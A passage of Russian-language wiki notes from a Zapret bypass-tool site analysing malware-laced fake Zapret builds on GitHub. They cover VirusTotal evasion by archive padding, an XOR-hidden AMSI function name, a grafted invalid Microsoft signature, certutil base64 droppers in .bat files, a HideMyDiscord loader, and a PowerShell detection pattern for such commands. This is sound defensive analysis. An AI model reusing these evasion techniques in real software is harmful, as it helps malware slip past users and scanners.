зашитым в скрипт бинарником продолжили работать месяцами (репозиторий `Enamelzestation` создан 1 июня 2026 и обновлялся 2 августа 2026 — то есть жил на площадке больше двух месяцев). Это не значит, что платформа «покрывает вирусы». Это значит, что автоматическая модерация судит по метаданным — названиям, тегам, жалобам, поведению аккаунта, — а не по содержимому файлов. Проверить, что мегабайтный `.bat` разворачивается в исполняемый файл, автоматика в этих случаях не смогла; убрать проект по совпадению тега — смогла. ## Почему антивирус это пропускает: разбор изнутри Самый частый вопрос к таким разборам — «если это вирус, почему антивирус молчит?». Ответ разложен ниже по шагам, и каждый шаг проверяется командой или публичным отчётом. Все хэши приведены полностью именно для того, чтобы выводы можно было перепроверить, а не принимать на слово. ### Опыт, который ставит точку: тот же файл, два результата Внутри архива `Zapret-4.0-Release.zip` лежит `Zapret-4.0.exe` (1 079 296 байт, SHA-256 `63b344e91bdc39e4f4dbc85ec68c19d7463a5ca7c8da687a0d1614c370464833`). Один и тот же исполняемый файл проверили на VirusTotal двумя способами. **Сам `.exe` — 51 вендор из 71** считает его вредоносным. Сводный ярлык `trojan.sidewinder/donutloader`, среди детектов Microsoft (`Trojan:Win64/Donut!rfn`), BitDefender, ESET, Kaspersky, CrowdStrike, Malwarebytes, Sophos: ![[zapret-4-0-exe-virustotal-51-of-71-2026-08.webp]] **Тот же файл внутри 106-мегабайтного архива — 10 вендоров из 58.** Microsoft, BitDefender, CrowdStrike, Malwarebytes, McAfee, Emsisoft, GData, DeepInstinct в этом виде молчат: ![[zapret-4-0-virustotal-10-of-58-2026-08.webp]] Разница в пять раз — на одном и том же коде. Вот зачем в архиве 105 МБ «зависимостей», которые на деле случайный шум (папка `Depends` показана выше): они не прячут вредоноса от анализа, они **сдвигают файл за пределы того, что сканеры разбирают целиком**. У большинства движков есть лимиты на размер вложения, глубину и время распаковки; стомегабайтный архив с десятком многомегабайтных «библиотек» в них упирается. Проверяется это на своей машине одной командой — распакуйте архив и отправьте на VirusTotal **сам исполняемый файл**, а не архив целиком. Правило общее: **сканируйте распакованное**. ### Почему детекты выглядят как `GenKryptik` и `SideWinder` Даже те вендоры, что среагировали, дают родовые имена. `Win64/GenKryptik.HPQC` у ESET — это детект **упаковщика-криптора**, а не конкретного зловреда: под таким ярлыком лежат тысячи разных программ, объединённых лишь тем, что они сильно обфусцированы. `HEUR:Trojan.Win64.SideWinder.gen` у Kaspersky — эвристическая сигнатура, где `HEUR` и `.gen` означают «похоже по поведению», а не «опознан точно». > [!warning] Ярлык детекта — не атрибуция > `SideWinder` — имя реально существующей APT-группы, но родовое эвристическое срабатывание **не доказывает** связь этой раздачи с ней. Считать по ярлыку VirusTotal, что за фейковым «Zapret 4.0» стоит конкретная группировка, нельзя — это типичное совпадение сигнатуры упаковщика. В заметке фиксируется только то, что видно: файл детектится как упакованный загрузчик. ### Что внутри `Zapret-4.0.exe`: 9 КБ кода и мегабайт шифра Разбор структуры файла объясняет и высокий детект, и почему статический анализ почти ничего не показывает. Из 1 079 296 байт на исполняемый код (`.text`) приходится **9360 байт** — меньше процента. Ещё 1 054 342 байта занимает единственный ресурс типа `RCDATA` с энтропией **7,9998** из максимальных 8,0: равномерный шум без сигнатур известных форматов — ни `MZ`, ни `PK`, ни `7z`. Это зашифрованные данные, а не сжатый архив. В коде рядом лежит константа `expand 32-byte k` — узнаваемая «сигма» потоковых шифров ChaCha20/Salsa20. Строк, по которым обычно ищут, в файле нет вовсе: ни одного URL, домена, IP-адреса или имени мьютекса. Единственная ссылка — `schemas.microsoft.com` в манифесте. Импорты выдают назначение точнее строк: `VirtualAlloc`, `VirtualProtect`, `FindResourceA`, `LoadResource`, `LoadLibraryA`, `GetProcAddress` — то есть «взять ресурс, расшифровать, выделить память, сделать её исполняемой и передать управление». Плюс `AddVectoredExceptionHandler`, `GetThreadContext`, `SetThreadContext`, `FlushInstructionCache` — набор, которым перехватывают функции в памяти, не трогая файлы на диске. Отдельная находка — работа с антивирусным интерфейсом Windows. Строки `amsi.dll` и `AmsiScan` лежат в файле открыто, а имя ключевой функции спрятано: последовательность `0f233d271d2d2f200c3b28282b3c` — это `AmsiScanBuffer`, зашифрованный простейшим XOR с ключом `0x4E`. Имя собирается в момент запуска и ищется через `GetProcAddress`, поэтому в таблице импорта `amsi.dll` не значится. **Проще говоря:** AMSI — это интерфейс, через который Windows даёт антивирусу заглянуть в то, что программа собирается выполнить в памяти. Файл, который прячет имя функции этого интерфейса за примитивным шифром и умеет править чужой код в памяти, готовится этот просмотр отключить. Никакого отношения к обходу блокировок такая механика не имеет. Проверить XOR может любой: ```bash python3 -c "print(bytes.fromhex('0f233d271d2d2f200c3b28282b3c').translate(bytes(b^0x4E for b in range(256))).decode())" ``` ### Файл притворяется компонентом Intel У `Zapret-4.0.exe` подделаны и метаданные версии. Windows показывает их в свойствах файла и в диалогах — вот что видит пользователь, решивший удалить подозрительный файл: ![[zapret-4-0-exe-fake-intel-metadata-2026-08.png]] `Организация: Intel Corporation`, `Описание файла: System health background task`, версия `5.1.41.5927`. В ресурсе версии прописано и оригинальное имя — `IntelMEService.exe`, то есть файл выдаёт себя за службу Intel Management Engine. При этом манифест внутри называет приложение `HelperApp`, а лежит всё это под именем `Zapret-4.0.exe`. Три разных имени в одном файле — и ни одно не соответствует тому, чем он назван на странице скачивания (`nightcore.exe`). Цифровой подписи у этого файла нет вовсе — данных после последней секции ноль. ### А вот полезная нагрузка из `.bat` — «подписана Microsoft» С двумя другими образцами хитрее. Оба извлечённых из батников бинарника (`e1ed9cb3…` и `6c3e7b13…`) несут в конце файла блок Authenticode на 10 072 байта с цепочкой сертификатов `CN=Microsoft Corporation` ← `Microsoft Code Signing PCA 2024` ← `Microsoft Root Certificate Authority 2011`, сертификат действителен с 16 апреля 2026 по 15 апреля 2027. Подпись недействительна, и это доказывается арифметикой, а не мнением. В подписи зафиксирован хэш подписанного содержимого: `36B9623A5555507F53B7D842C5F06E8D80DD94EFE469D499A0BCA3B045BA50D9`. Вычисленный по правилам Authenticode хэш самих файлов — `935ff11eccb3138b4996319842449fee004ae5089e07756d0b0b8ea205276b8a` у первого и `b7a1f6739117e5348e84c7b0adceb6b52605baaa294301f91b0e21176d3b096e` у второго. Ни один не совпадает с заявленным. Более того, блок подписи в обоих файлах **побайтово одинаков** (MD5 `faf9f3f5c743552a84920f53820d1e6d`) — при том что сами файлы разные. Одну и ту же подпись приклеили к двум разным бинарникам. Видно и то, откуда её срезали: внутри блока в поле с именем программы записано `Microsoft Edge Update`. То есть взяли подпись настоящего компонента обновления браузера Edge и перенесли её на свой файл. > [!important] Зачем приклеивать заведомо неработающую подпись > Затем, что она работает — не как криптография, а как сигнал доверия. В свойствах файла Windows появляется вкладка «Цифровые подписи» с именем Microsoft Corporation; статус «подпись недействительна» надо открыть отдельно, и его не читают. А публичные исследования показывают, что и часть антивирусных движков ведёт себя так же: в известной работе о подписанной малвари **не менее 34 продуктов** не проверяли валидность сертификата, и образцы, которые до этого детектились, переставали детектиться после простого дописывания невалидной подписи. Приём дешёвый: подпись копируется из легального файла одной утилитой. ### Три причины, по которым сигнатурный поиск бесполезен **Первая: каждая сборка даёт новый хэш.** Два payload’а — это одна и та же программа, собранная дважды. Совпадает всё, что описывает её устройство: Go 1.26.4, флаги сборки `-trimpath=true`, `CGO_ENABLED=0`, `GOOS=windows`; имя модуля в обоих — безымянная заглушка `stub` версии `(devel)`; одинаковый до версий набор зависимостей (`fxamacker/cbor v2.9.0`, `klauspost/compress v1.18.4`, `golang.org/x/crypto v0.48.0`); единственный именованный тип в коде — `main.PayloadContainer`; импортируется одна библиотека `kernel32.dll`, 44 функции, списки идентичны. Совпадение по строкам кода — **97,1 %** (пересечение множеств строк секций `.text` и `.rdata`). А вот совпадение по содержимому файла — почти нулевое: при сравнении блоками по 4 КБ совпал **1 блок из 2891**, первое расхождение начинается на 141-м байте, в заголовке PE. Причина разрыва — обфускация имён при сборке: функции в `main` называются `A7CGEtg1HuRQZLCCiFHIyIYdKm10` у одного образца и `mUz8tR5x9F1pCLcSfk3LcFbXjBt` у другого, пересечений нет. Плюс в каждом лежит свой шифрованный блок на 5,3 МБ с энтропией 7,996. Сигнатура, составленная по первому образцу, второй не найдёт — при том что это одна программа. **Проще говоря:** злоумышленнику не нужно переписывать код, чтобы уйти от детекта. Достаточно пересобрать проект — имена функций перемешаются, шифрованный блок изменится, хэш станет новым. Раздача под каждый репозиторий собирается заново, и защита, которая ищет известный файл, ищет то, чего больше не существует. Полезной нагрузки в открытом виде в этих файлах нет вообще: ни одного адреса управляющего сервера, ни одного упоминания браузеров, кошельков или мессенджеров — всё это лежит внутри зашифрованного блока, и без ключа или запуска в песочнице из строк не извлекается. Косвенно виден только инструментарий: рядом слинкованы библиотека сериализации `cbor`, компрессор `zstd` и шифр `chacha20poly1305` — то есть контейнер, сжатие и шифрование. Различаются образцы тем, какие пакеты подтянуты дополнительно (у одного — декодер PNG, у другого — упаковщик ZIP), а значит и содержимое контейнеров у них разное. Проверяется так: ```bash python3 -c " import hashlib a=open('payload1.exe','rb').read(); b=open('payload2.exe','rb').read() s={hashlib.md5(b[i:i+4096]).digest() for i in range(0,len(b)-4096,4096)} print(sum(1 for i in range(0,len(a)-4096,4096) if hashlib.md5(a[i:i+4096]).digest() in s))" ``` **Вторая: на диске нет вредоносного файла.** До запуска полезная нагрузка существует только как текст внутри `.bat` — 3856 строк `echo` с base64. Файловый антивирус видит текстовый скрипт из штатных команд Windows: `echo`, `del`, `certutil`, `start`. Сам `certutil` — легальная системная утилита, подписанная Microsoft и присутствующая в любой Windows; её использование не для сертификатов, а для декодирования base64 — известный приём, но детектировать её вызов как вредонос нельзя, иначе посыплются ложные срабатывания на десятках админских скриптов. **Третья: образцы свежие и нигде не засвечены.** Поиск трёх хэшей из этого разбора в публичных базах и песочницах (MalwareBazaar, отчёты any.run, tria.ge, hybrid-analysis) результатов не даёт — их туда просто не отправляли. Сигнатурная база строится на образцах, которые кто-то уже прислал; по данным AV-TEST, ежедневно регистрируется свыше **450 000** новых образцов вредоносного и нежелательного ПО, и первые дни жизни конкретного файла — это окно, когда его не знает почти никто. ### И последнее: подделка почти целиком состоит из оригинала Здесь ломается способ проверки «скачаю и посмотрю глазами». В сборке `Quantumfirear` **45 файлов из 47 побайтово идентичны** официальному релизу Flowseal 1.10.0: все двадцать вариантов `general (ALT*).bat`, все списки, `utils/test zapret.ps1`, и главное — ядро `bin/winws.exe` (SHA-256 `affb4f69d2ea302a7abccd5325d81826e140ddae014f1e070bc4a6c0dd555188`, версия v72.9) не подменено вовсе. Подделаны ровно два файла: `general.bat` и `service.bat`, причём оба — **один и тот же файл** с одинаковым хэшем `a729ce64106ea9ccce78511c7753ef9d30b3b0017d8d540720054a866e6acb86`, просто сохранённый под двумя именами. Из них вырезана вся логика запуска: заражённый `general.bat` **не запускает `winws.exe` вообще**. То есть обхода блокировок в этой сборке нет ни в каком виде — пользователь запускает файл, получает индикатор работы и малварь, а Discord у него не чинится. Заражение при этом покрывает все точки входа, и не благодаря хитрости атакующего, а из-за штатной архитектуры оригинала: у Flowseal каждый вариант `general (ALT*).bat` начинается с четырёх вызовов `call service.bat` (проверка статуса, обновлений, загрузка фильтров и пользовательских списков). Достаточно подменить один общий файл — и любой из двадцати «чистых» вариантов приведёт к дропперу. > [!tip] Что из этого следует практически > Единственная проверка, которая ловит такую подделку целиком, — **сравнение с эталоном**: скачать официальный релиз и сверить хэши всех файлов, а не читать код глазами. Расхождение в двух файлах из сорока семи видно сразу, и никакая обфускация от этого не спасает. Всё остальное — оформление README, чистота остальных скриптов, наличие подписи, отзывы и звёзды — подделке даётся бесплатно. В [[flowseal-zapret-discord-youtube-block-july-2026|истории с приостановкой аккаунта Flowseal 10 июля 2026]] зафиксирована правдоподобная версия происходящего: GitHub зачищал аккаунты по тегам, связанным с обходом блокировок, — `dpi-bypass`, `rkn-bypass`, `discord-fix`, `unblock-youtube` и другим. Тогда же было видно, что зачистка бьёт мимо цели. Спустя месяц картина не изменилась, а стала нагляднее. Вирусные раздачи просто переехали на теги, которых в старых списках не было. Поиск по темам 11 августа 2026 даёт: | Тег | Репозиториев | | --- | --- | | `zapret-discord` | 993 | | `zapret-discord-youtube-2026` | 509 | | `zapret-telegram` | 172 | | `zapret-youtube` | 141 | У разобранного выше `Vanquishervohonor25/Zapret-4.0` в темах стоят сразу `zapret-telegram`, `zapret-discord-youtube-2026`, `zapret-youtube`, `zapret-4`. У `polaris-vpn-pro-obhod` — восемнадцать тегов, от `free-vpn-russia` до `zapret-vpn-russia`. **Проще говоря:** блокировка по тегу — это фильтр по слову, а слово меняется за секунду редактированием настроек репозитория. Достаточно дописать к прежнему названию год, и раздача снова не попадает ни под один список. Пострадали от такой фильтрации те, кто не подстраивался: у легального проекта тег отражает суть проекта и не меняется каждую неделю. Отсюда неприятное следствие для пользователя: **тег и выдача по теме — не признак безопасности вообще**. Страницу тега наполняют те, кому важно, чтобы их нашли по поиску, а честному проекту при такой политике площадки выгоднее теги вовсе не ставить. ### Третья ступень: раздачи вообще без тегов К августу 2026 появился следующий ход, и он логично следует из двух предыдущих. Если модерация ищет по тегам — можно не ставить теги совсем, а трафик приводить со стороны. Сравнение разобранных раздач по этому признаку: | Раздача | Тегов | Откуда идут люди | | --- | --- | --- | | `SpikeServiceForce/polaris-vpn-pro-obhod` | 18 | поиск по GitHub | | `Quantumfirear/zapret-discord-youtube-1-10-0` | 9 | поиск по GitHub | | `Vanquishervohonor25/Zapret-4.0` | 9 | поиск плюс своя страница | | `Enamelzestation/zapret-discord-youtube` | 7 | поиск по GitHub | | `limitministerflex/obhod-zapreta-whitelists` | 5 | поиск по GitHub | | `LimeChairmanDirect/LimeChairmanDirect` | **0** | только внешний сайт | Последняя строка — раздача [[hidemydiscord-loader-august-2026|HideMyDiscord]]: ни одного тега, ни описания, ни звёзд, а сам репозиторий — профильный, то есть тот, где обычно лежит README страницы пользователя. Найти его поиском по GitHub невозможно в принципе: искать нечего. Люди приходят с отдельного сайта, который продвигается за пределами площадки. **Проще говоря:** пока модерация училась распознавать раздачи по тегам и накрученным звёздам, раздачи перестали пользоваться и тем, и другим. Витрина переехала на собственный домен, а GitHub остался в роли обычного файлового хостинга — бесплатного, быстрого и не вызывающего подозрений в адресной строке. Из этого следует и ответ на вопрос «почему площадка их не видит»: **у таких репозиториев нет ни одного признака, по которому автоматика могла бы их сгруппировать**. Ни тега, ни описания, ни характерного имени, ни всплеска звёзд. Чистить по тегам, как в июле, тут просто нечего — и зачистка по-прежнему бьёт по тем, кто теги ставит честно, то есть по открытым проектам. ## Как проверить это самому Все числа выше воспроизводятся публичными запросами — ни аккаунта, ни токена не нужно. Проверка занимает минуту и одинаково работает для любого репозитория, который вам предлагают скачать. Доступность страницы и код ответа: ```bash curl -s -o /dev/null -w "%{http_code}\n" https://github.com/ИМЯ/РЕПОЗИТОРИЙ ``` Возраст аккаунта и репозитория — если репозиторий появился через минуту после регистрации, а звёзд сотни, вопрос закрыт: ```bash curl -s https://api.github.com/repos/ИМЯ/РЕПОЗИТОРИЙ | grep -E '"(created_at|pushed_at|stargazers_count|forks_count|size)"' ``` Что в истории коммитов на самом деле — сообщения и даты последних двадцати: ```bash curl -s "https://api.github.com/repos/ИМЯ/РЕПОЗИТОРИЙ/commits?per_page=20" | grep -E '"(message|date)"' ``` Размеры файлов в корне репозитория — здесь и вылезает мегабайтный батник: ```bash curl -s https://api.github.com/repos/ИМЯ/РЕПОЗИТОРИЙ/contents/ | grep -E '"(name|size)"' ``` Если сборка уже скачана, в Windows размер файлов и подозрительные команды внутри проверяются штатным PowerShell (файл при этом не запускается): ```powershell Get-ChildItem *.bat | Select-Object Name, Length; Select-String -Path *.bat -Pattern 'certutil|-decode|%TEMP%|start /b' | Select-Object -First 20 ``` ## Обновлённый чек-лист: что смотреть в 2026 году Старые правила из [[virus|каталога вирусных сборок]] остаются в силе, но их уже недостаточно — раздачи научились проходить проверку «один `winws.exe` в папке». К списку добавились новые пункты. - [ ] **Размер `.bat`-файлов.** Норма — единицы килобайт. Мегабайты означают зашитые данные. - [ ] **Слова `certutil`, `-decode`, `%TEMP%`, `start /b` внутри скриптов.** Настоящей сборке они не нужны: она запускает `winws.exe` из своей же папки `bin`. - [ ] **Возраст аккаунта против числа звёзд.** Свежая регистрация плюс сотни звёзд — накрутка. - [ ] **Содержание коммитов, а не их количество.** Одинаковые сообщения с равным интервалом — работа скрипта. - [ ] **Источник контрольных сумм.** Хэш из того же архива не проверяет ничего; сверяйтесь с публикацией первоисточника. - [ ] **Вес и состав архива.** Сто мегабайт «зависимостей» вокруг одного `.exe` — способ затруднить проверку. - [ ] **Есть ли вообще исходный код.** Закрытый бинарник вместо `.bat` и `.ps1` — стоп-сигнал независимо от оформления страницы. - [ ] **Куда ведёт кнопка «Скачать».** Переход на сторонний сайт или GitHub Pages вместо релизов репозитория — повод остановиться. - [ ] **На проверку отправляйте распакованное.** Архив на сто мегабайт скрывает от сканера то, что сам файл внутри детектится в пять раз чаще. - [ ] **Сверяйте с эталоном, а не читайте глазами.** Скачайте официальный релиз и сравните хэши всех файлов: подделка отличается двумя файлами из сорока семи, и это единственное, что видно надёжно. - [ ] **Не верьте вкладке «Цифровые подписи».** Открывайте её и смотрите статус: приклеенная чужая подпись показывает имя Microsoft, но помечена как недействительная. - [ ] **Не верьте свойствам файла.** Поля «Организация» и «Описание» вписывает автор файла: здесь троян представляется службой Intel Management Engine. > [!tip] Единственная надёжная проверка — источник, а не признаки > Перечисленное помогает распознать подделку, но ни один набор признаков не даёт гарантии: сегодня раздача проходит старый чек-лист, завтра — новый. Устойчиво работает только обратный подход — брать сборку по [[Zapret/download|официальным ссылкам проекта]], а всё найденное поиском по GitHub считать неизвестным происхождением, пока не доказано обратное. ## Что это значит для самих проектов Для команды [[Zapret GUI]] урок дня практический: аккаунт на чужой платформе — не собственность, а разрешение, которое отзывается автоматикой и без объяснений. Это уже случалось раньше — по свидетельству команды, её первый аккаунт GitHub был удалён без объяснения причин, и восстановить его не удалось. Поэтому основной дом проекта перенесён в собственный Forgejo на `git.zapret.moe`. Форки Telegram-клиента, недоступные на GitHub, продолжают жить там: [zastogram/ZaStoGram](https://git.zapret.moe/zastogram/ZaStoGram) и [zastogram/ZaStoGram_desktop](https://git.zapret.moe/zastogram/ZaStoGram_desktop) — те самые сборки с [[mtproxy/telegram-wss-transport|WSS-транспортом внутри клиента]]. Своя площадка не делает код безопаснее сама по себе, но убирает главный риск: удаление проекта по совпадению тега или срабатыванию антифрода. Читателю из этого следует одно правило: **не искать сборку заново каждый раз, когда привычная ссылка перестала открываться**. Именно в этот момент — когда честный репозиторий пропал, а человек ищет замену — подделки собирают основной урожай. Так работал вирусный фейк [[flowseal-fake-youtube-salatstealer-july-2026|«Flowseal» на YouTube со стилером SalatStealer]] сразу после июльской приостановки, и так же работают разобранные здесь раздачи с 200 звёздами. Список рабочих зеркал и каналов проекта — в [[Zapret/download|инструкции по официальным источникам]]. ## 📚 См. также - [[virus|👾 Каталог вирусных сборок Zapret и чек-лист проверки]] — база, к которой эта заметка добавляет приём с payload внутри `.bat` - [[discord-cdn-fix-fake-repos-june-2026|🪪 Сеть клонов Bypass Ultimate / discord-cdn-fix]] — накрутка звёзд ровно до одного числа внутри кластера - [[flowseal-zapret-discord-youtube-block-july-2026|🚫 Приостановка аккаунта Flowseal 10 июля 2026]] — первая волна зачистки по тегам и её последствия - [[hidemydiscord-loader-august-2026|🎣 HideMyDiscord — рабочий обход с загрузчиком в комплекте]] — сборка с того же конвейера аккаунтов: обход честно работает, а рядом с ядром запускается загрузчик - [[fixit-arcane-stealer-kaspersky-august-2026|🪤 Fixit — приманка для стилера Arcane]] — раздача, где вредоноса нет ни в репозитории, ни в архиве: он приезжает по ссылке через сокращатель - [[flowseal-fake-youtube-salatstealer-july-2026|🥗 Фейковый «Flowseal» со стилером SalatStealer]] — что происходит с теми, кто ищет замену пропавшему репозиторию - [[Zapret/download|Как скачать Zapret из официальных источников]] - [[mtproxy/telegram-wss-transport|WSS: MTProto внутри WebSocket]] — про ZaStoGram, чей GitHub-репозиторий стал недоступен 11 августа 2026 - 🔗 [VirusTotal](https://www.virustotal.com) — проверка файла по хэшу без скачивания - 🔗 [Теги zapret-discord-youtube-2026](https://github.com/topics/zapret-discord-youtube-2026) и [zapret-telegram](https://github.com/topics/zapret-telegram) — куда переехали раздачи после зачистки старых тегов --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/virus/github-removes-clean-zapret-keeps-malware-august-2026.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-08-11 tags: - zapret - вирусы - malware - безопасность - github - discord aliases: - HideMyDiscord это вирус - hidemydiscord.com отзывы - HideMyDiscord скачать безопасно - StartWin.exe что это - HDS.zip пароль - Фикс дискорда с вирусом 2026 - Загрузчик в сборке Zapret - Как найти репозиторий GitHub по ID link: https://hidemydiscord.com/ --- # 🎣 HideMyDiscord: рабочий обход блокировок с загрузчиком в комплекте ![[hidemydiscord-loader-chain-header.png]] > [!info] О чём заметка > `hidemydiscord.com` раздаёт «бесплатный фикс ДС» — сборку на базе [[virus|zapret-discord-youtube от Flowseal]], которая **действительно работает**: Discord после запуска чинится. Проблема в том, что рядом с настоящим ядром обхода в архиве лежит файл `StartWin.exe` на 6,2 МБ, которого в оригинальной сборке нет, и запускают его 21 из 23 стартовых скриптов. По именам функций внутри это загрузчик второй ступени: скачать файл из сети, расшифровать, запустить. Здесь — разбор всей цепочки от лендинга до бинарника, включая приём с поиском скрытого GitHub-репозитория по числовому идентификатору. Каталог других подделок — в [[virus|заметке о вирусах в Zapret]]. *HideMyDiscord — это вирус или нет? Что за StartWin.exe в папке bin, зачем пароль на архиве HDS.zip, безопасно ли качать фикс дискорда с hidemydiscord.com — разбор на 11 августа 2026.* ## TL;DR - Сайт `hidemydiscord.com` (домен зарегистрирован 6 марта 2026) отдаёт `HDS.zip`, внутри которого лежит **второй архив** — `HideMyDiscord3.8.0.rar`, запароленный, пароль опубликован прямо на странице: `HideMyDiscord!`. - Внутренний архив упакован **RAR версии 7** (метод `v6`), который 7-Zip не распаковывает вовсе — для разбора нужен официальный `unrar`. - Внутри — сборка Flowseal со всеми стратегиями и **настоящим рабочим обходом**, плюс лишний файл `bin/StartWin.exe` (6 210 048 байт, SHA-256 `9e35060a08af71f28e18c7226867115ff72a3ee52333ce4e9fd65c21821e7bbe`), которого в оригинальной сборке нет. - Каждый из 21 файла запуска `Method (*).bat` стартует **сначала `StartWin.exe`, и только следующей строкой — настоящий `winws.exe`**. Обход работает, поэтому пользователь ничего не подозревает. - `StartWin.exe` написан на Go 1.26.5, имя модуля — `loader`, метка времени сборки обнулена. Имена функций не скрыты и говорят сами за себя: `downloadFile`, `downloadOnce`, `decryptBlob`, `destPath`, `launchPayload`, `runExe`, `runBat`, `runTxtManifest`. - Ядро `winws.exe` **пропатчено**: строку с git-хэшем сборки заменили на `hidemydiscord.com`, а надпись `github version %s` — на `HideMyDiscord. %s`. Из-за этого его хэш не совпадает с официальным, хотя версия ядра та же — v72.9. - Раздача идёт из **профильного репозитория** `LimeChairmanDirect/LimeChairmanDirect` — того, где обычно лежит только README профиля. Такой репозиторий не всплывает в поиске по темам. На 11 августа 2026 у файла 175 скачиваний. - Аккаунт создан 3 июля 2026 в 13:18:22 UTC — через **3 минуты 55 секунд** после аккаунта `Quantumfirear` из [[github-removes-clean-zapret-keeps-malware-august-2026|соседнего разбора]], с почти соседним внутренним идентификатором. Это тот же конвейер регистраций. > [!warning] Что проверено, а что нет > Состав архивов, размеры, хэши, структура `StartWin.exe`, список его функций и патч в `winws.exe` получены **статическим разбором на Linux**: ни один файл не запускался. Адрес, с которого загрузчик тянет вторую ступень, в открытом виде в бинарнике отсутствует и здесь не восстановлен — значит, **что именно он скачивает, доказать нельзя**. Вердиктов антивирусов по этим образцам в заметке тоже нет: публичные базы по хэшам данных не отдали. Всё, что утверждается ниже, — это структура файлов и имена функций внутри них. ## Как выглядит приманка Лендинг сделан добротно: тёмная тема, аккуратная типографика, разделы «Инструкция», «Возможности», «FAQ». Заголовок обещает обход Discord и YouTube, подпись честно указывает первоисточник — «работает на базе Flowseal zapret-discord-youtube». ![[hidemydiscord-landing-2026-08.webp]] Под кнопкой скачивания — строка, которая должна настораживать сама по себе: **«Пароль архива: `HideMyDiscord!`»**. Пароль на архиве с бесплатной утилитой не выполняет никакой полезной функции. Он не защищает от копирования (пароль опубликован рядом), не экономит место, не ускоряет загрузку. Единственное, что он делает, — **не даёт антивирусу и онлайн-сканеру посмотреть внутрь до распаковки**. Этот признак стоит в [[virus|чек-листе проверки сборок]] с самых первых случаев: запароленный архив у публичного инструмента — красный флаг без исключений. Домен `hidemydiscord.com` зарегистрирован 6 марта 2026 сроком на год, обслуживается на серверах имён провайдера, который позиционирует себя как устойчивый к жалобам. Никакой связи с Flowseal или bol-van у сайта нет — имя проекта используется как знак качества. ## Как найти скрытый репозиторий по ссылке на файл Кнопка «Скачать» ведёт не на сайт, а на GitHub — и здесь начинается интересное. Прямая ссылка на файл релиза выглядит как длинная строка с подписью и сроком годности, вида `release-assets.githubusercontent.com/github-production-release-asset/1306015757/…`. Имени репозитория в ней нет. Но число после `github-production-release-asset` — это **внутренний идентификатор репозитория**, и по нему GitHub отдаёт всё остальное: ```bash curl -s https://api.github.com/repositories/1306015757 | grep '"full_name"' ``` Ответ: `LimeChairmanDirect/LimeChairmanDirect`. **Проще говоря:** даже если вам дали только ссылку на скачивание файла, по ней восстанавливается имя владельца и репозитория. Приём работает для любой ссылки на релиз GitHub и полезен, когда сайт-витрина прячет источник за редиректом. ### Почему раздача лежит в профильном репозитории Обратите внимание на имя: владелец `LimeChairmanDirect` и репозиторий `LimeChairmanDirect` совпадают. Это **профильный репозиторий** — специальный репозиторий GitHub, содержимое `README.md` которого показывается на странице пользователя. Обычно там лежит рассказ о себе и ссылки. Выбор не случаен. У профильного репозитория нет тем и описания, он не попадает в выдачу по тегам вроде `zapret-discord-youtube-2026`, его не найти поиском по названию проекта — а релиз к нему прикрепить можно, как к любому другому. Раздачи, разобранные в [[github-removes-clean-zapret-keeps-malware-august-2026|заметке о зачистке GitHub]], висели на виду и собирали накрученные звёзды; эта, наоборот, спрятана: 0 звёзд, 0 форков, единственный файл `README.md` на 2520 байт. При этом трафик идёт: у релиза `HDS` (опубликован 10 августа 2026, обновлён в тот же день в 22:57) — **175 скачиваний** на 11 августа 2026. ### Тот же конвейер аккаунтов Аккаунт `LimeChairmanDirect` создан 3 июля 2026 в 13:18:22 UTC. Для сравнения — аккаунт `Quantumfirear`, раздающий сборку с payload внутри `general.bat`, создан 3 июля 2026 в 13:14:27 UTC. Разница — **3 минуты 55 секунд**, а внутренние идентификаторы отличаются на 1342. Совпадает и остальной почерк: у владельца три репозитория, из них два — мусорные, со случайными именами из восьми строчных букв (`qwhesqjf` создан через две минуты после регистрации, `sbweqhui` — вместе с профильным). Ровно такой отпечаток описан в [[fixit-arcane-stealer-kaspersky-august-2026|разборе фабрики аккаунтов]], где за шесть минут одного утра зарегистрировали 39 подтверждённых аккаунтов этой сети. ### Как аккаунту рисуют историю: 150 коммитов, треть из них — в будущем Второй мусорный репозиторий, `sbweqhui`, на первый взгляд выглядит как заброшенная песочница: `README.md` на 10 байт и файл `log.txt`. Но счётчик показывает **150 коммитов**, а последний из них датирован **31 декабря 2026 года** — то есть на четыре с половиной месяца позже дня, когда это наблюдалось. ![[limechairman-150-commits-future-dates-2026-08.png]] Устроено просто. Каждый коммит называется датой и дописывает в `log.txt` одну строку — с той же датой. Никакого кода там нет вовсе, файл целиком состоит из 149 строк вида `- 2026-01-05T09:25:00`. А сами даты равномерно размазаны по всему 2026 году: январь — 17 коммитов, февраль — 13, март — 15, и так до декабря — 14. Из 150 коммитов **55 имеют дату в будущем**. Реальное же время публикации видно по метаданным репозитория: создан 19 июля 2026 в 21:04:16 UTC, последняя запись — в 21:07:23. Вся «годовая активность» залита за **три минуты**. **Проще говоря:** GitHub рисует зелёный календарь вкладов по дате, которую указывает сам автор коммита, а не по дате отправки на сервер. Скрипт проставил даты по всему году — и профиль выглядит живым круглый год, включая месяцы, которые ещё не наступили. Человек, зашедший посмотреть «а настоящий ли это разработчик», видит плотную сетку активности вместо пустого профиля. Тот же приём — у аккаунта `Quantumfirear` из [[github-removes-clean-zapret-keeps-malware-august-2026|соседнего разбора]]: репозиторий `lfwpwcnr` с таким же `log.txt`, 129 коммитов с 1 января по 31 декабря 2026, из них 49 — в будущем. И создан он **19 июля 2026 в 21:03:21**, то есть за 55 секунд до `sbweqhui`. > [!important] Что это доказывает > Два аккаунта, раздающие разные подделки — сборку с payload внутри `general.bat` и HideMyDiscord, — обслуживались **одним скриптом в один вечер, с интервалом в минуту**. Это уже не догадка по косвенным признакам, а совпадение по времени публикации с точностью до секунд. Заодно это третий известный способ накрутки истории: 12 131 коммит «Update README.md» за пять дней, ровные 66 звёзд на клонах и вот теперь — год ровной активности, включая ещё не наступившие месяцы. Проверить любую такую историю можно за минуту, не заходя в интерфейс: ```bash curl -s "https://api.github.com/repos/ВЛАДЕЛЕЦ/РЕПО/commits?per_page=100" | grep '"date"' | sort | tail -3 ``` Если самая поздняя дата больше сегодняшней — история нарисована. Настоящий коммит из будущего сделать невозможно, зато проставить ему любую дату — одна переменная окружения. ## Двойная упаковка: zip внутри zip Скачанный `HDS.zip` весит 3 491 136 байт (SHA-256 